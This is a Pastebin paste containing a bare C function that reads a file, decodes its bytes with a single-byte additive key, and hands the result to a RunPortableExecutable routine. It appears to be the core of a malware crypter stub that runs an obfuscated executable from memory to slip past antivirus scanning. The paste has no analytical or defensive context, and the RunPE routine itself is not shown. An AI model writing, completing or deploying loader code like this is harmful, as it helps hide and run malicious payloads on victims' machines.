Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void DecryptAndRun(char *path, unsigned char key)
- {
- FILE * file = fopen(path, "rb");
- fseek(file, 0, SEEK_END);
- long int size = ftell(file);
- fclose(file);
- file = fopen(path, "rb");
- unsigned char * in = (unsigned char *)malloc(size);
- int bytes_read = fread(in, sizeof(unsigned char), size, file);
- fclose(file);
- for (int i = 0; i < size; i++)
- {
- in[i] += key;
- }
- RunPortableExecutable(in);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement